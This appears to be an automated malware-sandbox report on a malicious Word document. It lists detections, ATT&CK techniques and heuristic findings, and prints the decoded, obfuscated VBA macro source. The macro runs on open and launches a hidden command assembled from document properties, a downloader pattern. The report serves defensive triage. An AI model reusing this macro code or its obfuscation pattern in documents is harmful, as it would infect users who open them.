MALICIOUS
192
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristic firings including OLE_VBA_MACROS and OLE_VBA_PCODE_AUTOEXEC_EXEC. The ClamAV detection name 'Doc.Macro.VBSDownloader' strongly suggests the macro's purpose is to download a secondary payload. The obfuscated nature of the VBA code and the presence of a suspicious extracted file named 'macros.bas' further support this assessment.
Heuristics 8
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ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
kDFNDbVdV = "zxeGkSXAHn" CreateObject(czAfWXCK + CAntsBFU("SMfUUkeav") + CAntsBFU("CxhXLKNwBZ")).Run$ YtracUVR + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + VywxcZyehY, 0 LBMURhLhCHR = "SuGnGxEHP" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() mEAvzSrN -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7095 bytes |
SHA-256: 1c94edfc78c61725409bf4dac6ff1fb9d6feaba5b0e1197ccc7ab90a09e09a65 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
195 of 230 identifiers look randomly generated (e.g. 'NpwxCRGEsEL') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Function mewdmwYN()
Dim XWKpRtcmTa()
ygfPYwtZ = 612
ReDim XWKpRtcmTa(612)
XWKpRtcmTa(560) = PmMdTLgB
XWKpRtcmTa(519) = YBByNbbee
XWKpRtcmTa(106) = AHxPfbtKd
XWKpRtcmTa(495) = dcczMSxeLgM
XWKpRtcmTa(364) = hZkYuXet
XWKpRtcmTa(201) = cvzZXwxC
XWKpRtcmTa(370) = 3972
XWKpRtcmTa(512) = 1517
XWKpRtcmTa(450) = 5439
XWKpRtcmTa(386) = 7178
XWKpRtcmTa(285) = 1251
For ygfPYwtZ = 103 To 156
XWKpRtcmTa(ygfPYwtZ) = ygfPYwtZ
Next
End Function
Function RKKuLzyTkaY()
Dim rzDKwUeMdDF()
GrXDLUXW = 3511
ReDim rzDKwUeMdDF(3511)
rzDKwUeMdDF(1750) = phMCTpuLuEF
rzDKwUeMdDF(2244) = ZdbhDVSpM
rzDKwUeMdDF(959) = cwGNxcwyzP
rzDKwUeMdDF(1141) = xSmBnwarA
rzDKwUeMdDF(2909) = szGKnDFLTx
rzDKwUeMdDF(2709) = 4531
rzDKwUeMdDF(538) = 737
rzDKwUeMdDF(175) = 7113
rzDKwUeMdDF(1440) = 548
rzDKwUeMdDF(3337) = 4580
For GrXDLUXW = 2377 To 2133
rzDKwUeMdDF(GrXDLUXW) = GrXDLUXW
Next
End Function
Function VaPeZkzBKzT()
Dim xszAamSP()
suaVHWrcKXT = 2292
ReDim xszAamSP(2292)
xszAamSP(1103) = GhEVZyDvuHp
xszAamSP(563) = bgTcgtHX
xszAamSP(169) = hxtKtsDR
xszAamSP(460) = nhmpZCLt
xszAamSP(1905) = mLTNxUvNNk
xszAamSP(1339) = 2147
xszAamSP(2280) = 5045
xszAamSP(643) = 8810
xszAamSP(1567) = 1736
xszAamSP(1511) = 5437
xszAamSP(1279) = 5104
For suaVHWrcKXT = 719 To 2142
xszAamSP(suaVHWrcKXT) = suaVHWrcKXT
Next
End Function
Function XBxBTAUBM()
Dim tsfDEnmGy()
beHTCMeCYk = 3888
ReDim tsfDEnmGy(3888)
tsfDEnmGy(2845) = nMFKbvLU
tsfDEnmGy(1196) = xKEBacmBbe
tsfDEnmGy(1181) = SMRXtxbMV
tsfDEnmGy(1426) = TmCmcKnKAmb
tsfDEnmGy(2644) = SbTzupNcfx
tsfDEnmGy(486) = 6683
tsfDEnmGy(302) = 6993
tsfDEnmGy(1950) = 96
tsfDEnmGy(1870) = 9482
For beHTCMeCYk = 3298 To 3009
tsfDEnmGy(beHTCMeCYk) = beHTCMeCYk
Next
End Function
Function SyCBGGKTn()
Dim drzXuXxkL()
WaNgaAhervS = 2031
ReDim drzXuXxkL(2031)
drzXuXxkL(531) = NFapMvCALA
drzXuXxkL(625) = PSZZsEAPwP
drzXuXxkL(1948) = ctXrgNWaw
drzXuXxkL(340) = pYsgFfGr
drzXuXxkL(1824) = 5465
drzXuXxkL(1469) = 7474
drzXuXxkL(399) = 3350
drzXuXxkL(1097) = 9524
For WaNgaAhervS = 1339 To 1948
drzXuXxkL(WaNgaAhervS) = WaNgaAhervS
Next
End Function
Sub autoopen()
mEAvzSrN
End Sub
Public Function CAntsBFU(LnEFErfXWg)
HYXXyABgWRm = "xefDxYpnECE"
MbDnHHHNsv = "naRmKXtTdy"
nbDwEnXTV = "GDRHzbgVZu"
nvLXMeFNZTA = "DrXkNMaV"
LKLUfcVt = "ffCHmfNgS"
WZLKvmtyW = "hMAevLhsdpE"
RhZadtTd = "kYLngNLbZXf"
CAntsBFU = ActiveDocument.CustomDocumentProperties(LnEFErfXWg) + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + vZmbCpCtW
dpxwwYDfaBa = "cBRRSkRT"
akgLvfpP = "BsSEgGvd"
UCgdHyHc = "wAbexADPhD"
pnyDYrezSvx = "cmgtPRAfB"
wUbXwGhV = "fsFgBvmSay"
zurrbRXdHz = "nLkkHudB"
hweZwBBN = "PvfaRbsNZxx"
End Function
Public Function YtracUVR()
GWAVEVTKtx = "VKAXfzmzmh"
vLfFUzpUuZ = "dSUWCbGdAx"
HhTTAddPR = "vcpHVuvuzN"
EMwtzDHGEDr = "KuBBzFYY"
MYevCAeU = CAntsBFU("CUxXMCsKb") + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + CAntsBFU("vfHHWNWxN") + CAntsBFU("uzzBxfhZwY") + CAntsBFU("ZTTYAETP")
XRKcMUyuTB = "EByGvkkFtay"
CWfnKTFXs = "VCSHPEtu"
DGtGrhWnLdC = "zuetDHYA"
mDwvPmwPH = "HwvkENMua"
FyVrUTaYbv = "BXKXMwMKZ"
eZxcTpGYgxF = "TUckbVCG"
ZsYPDKbN = CAntsBFU("McLNReda") + CAntsBFU("pzcDCPNGv") + CAntsBFU("kayFnfDmB") + CAntsBFU("STPVnpzFzwh") + CAntsBFU("fdGyyGywT")
cbZkgWCmBxy = ZsYPDKbN + MYevCAeU
UUNxwbXKmm = "YEekCHAuSx"
GfPdBeWyp = "NnPwLzGve"
CEtefHatyYB = "CWxKAyPA"
zdstSTNaD = "pAMKagELKzw"
FVBefvUSU = "ZneCMWVNr"
gvDzpttXgC = "ngZWSaGbnc"
YtracUVR = cbZkgWCmBxy + ActiveDocument.BuiltInDocumentProperties("Comments") + ""
End Function
Public Function czAfWXCK()
czAfWXCK = CAntsBFU("CcTCEueyw") + CAntsBFU("BvyVfgBG") + CAntsBFU("ppxdknXgwE") + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + uCnNwPXEZ
UgBwGXLmdpk = "kZfBeMBFLhf"
uFLBBeEzUxR = "kxznKEMnnya"
zYAmXgux = "pMgnTKpGG"
nZcApmxkAG = "TDrgmPStMTY"
dysUCufaL = "zCKruLxxABZ"
sZhALHwbPb = "zZbngdDNmL"
BgARExtrK = "vGMgVEGbAyP"
End Function
Public Function mEAvzSrN()
ymCuFXxuT = "hDPaVbkPSuf"
MLNkbvLkXZT = "HWtLfVfS"
mWTckcUfEc = "SUatVPVcs"
VUaKGtUG = "ZTbZSRyvrLB"
kDFNDbVdV = "zxeGkSXAHn"
CreateObject(czAfWXCK + CAntsBFU("SMfUUkeav") + CAntsBFU("CxhXLKNwBZ")).Run$ YtracUVR + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + VywxcZyehY, 0
LBMURhLhCHR = "SuGnGxEHP"
DGnumBRZC = "FwdvDpFLEdV"
RPBVDuDnD = "pTTWaZpBA"
aCSeBFBmMEK = "ZApesPmLs"
yaRwuKfVVk = "NXcBXMChK"
DgDhZApdYH = "wKLrprTrLB"
vAfZYmvbSKg = "HPugWvNZmgk"
GefeyxgSw = "vtvbteAE"
End Function
Function NpwxCRGEsEL()
Dim vZDmwGpY()
sKaRtHpNkVz = 3528
ReDim vZDmwGpY(3528)
vZDmwGpY(1515) = TrkyRycDk
vZDmwGpY(3513) = tVbpZHXdn
vZDmwGpY(546) = ptDgVzGtPGw
vZDmwGpY(2486) = rwfczVUhpRf
vZDmwGpY(1826) = 1631
vZDmwGpY(692) = 8834
vZDmwGpY(3412) = 4415
vZDmwGpY(3008) = 995
vZDmwGpY(385) = 2863
For sKaRtHpNkVz = 3192 To 337
vZDmwGpY(sKaRtHpNkVz) = sKaRtHpNkVz
Next
End Function
Function xmNXRXMScYF()
Dim wVbThnsT()
vuLMMDSa = 7135
ReDim wVbThnsT(7135)
wVbThnsT(389) = RXwDdyEzgHt
wVbThnsT(6622) = yHkzxzhpPZe
wVbThnsT(2730) = XtzDaGwZ
wVbThnsT(6388) = wCDZuwvu
wVbThnsT(5171) = CKXXLFXNX
wVbThnsT(3701) = 3685
wVbThnsT(2000) = 9297
wVbThnsT(6206) = 9756
wVbThnsT(1081) = 2011
wVbThnsT(611) = 3834
wVbThnsT(6659) = 977
For vuLMMDSa = 4503 To 574
wVbThnsT(vuLMMDSa) = vuLMMDSa
Next
End Function
Function zsHHrHFXKu()
Dim SGbdmFKErrk()
yxZELzwRnB = 2628
ReDim SGbdmFKErrk(2628)
SGbdmFKErrk(1833) = mKFcDfxuWy
SGbdmFKErrk(1629) = UPNRbKBn
SGbdmFKErrk(2572) = UGYmrhBrpDc
SGbdmFKErrk(1797) = EGHNvmsawkt
SGbdmFKErrk(841) = 811
SGbdmFKErrk(1019) = 4354
SGbdmFKErrk(1795) = 9814
SGbdmFKErrk(1830) = 3292
For yxZELzwRnB = 2088 To 1612
SGbdmFKErrk(yxZELzwRnB) = yxZELzwRnB
Next
End Function
Function bffnWmCErat()
Dim DLTtSKHvm()
BfVzUZvDgv = 1722
ReDim DLTtSKHvm(1722)
DLTtSKHvm(911) = UpHUEmgLeP
DLTtSKHvm(1075) = yDuaKhtsBc
DLTtSKHvm(1462) = VrDZZgvrxLN
DLTtSKHvm(541) = vdSbcPgtDKH
DLTtSKHvm(387) = GPZSuNAWDgn
DLTtSKHvm(467) = 2827
DLTtSKHvm(597) = 4591
For BfVzUZvDgv = 1259 To 1633
DLTtSKHvm(BfVzUZvDgv) = BfVzUZvDgv
Next
End Function
Function bZvGVPtTGh()
Dim URYERPXy()
HPFsKLfFmc = 4889
ReDim URYERPXy(4889)
URYERPXy(345) = hkEBSWXeKdf
URYERPXy(1325) = XGkFANKf
URYERPXy(1085) = ZvdFVuWWd
URYERPXy(4756) = KVExATkF
URYERPXy(3708) = zfWPayssz
URYERPXy(3461) = TTyHhnYm
URYERPXy(2205) = 9801
URYERPXy(984) = 6483
URYERPXy(499) = 5738
For HPFsKLfFmc = 3566 To 306
URYERPXy(HPFsKLfFmc) = HPFsKLfFmc
Next
End Function
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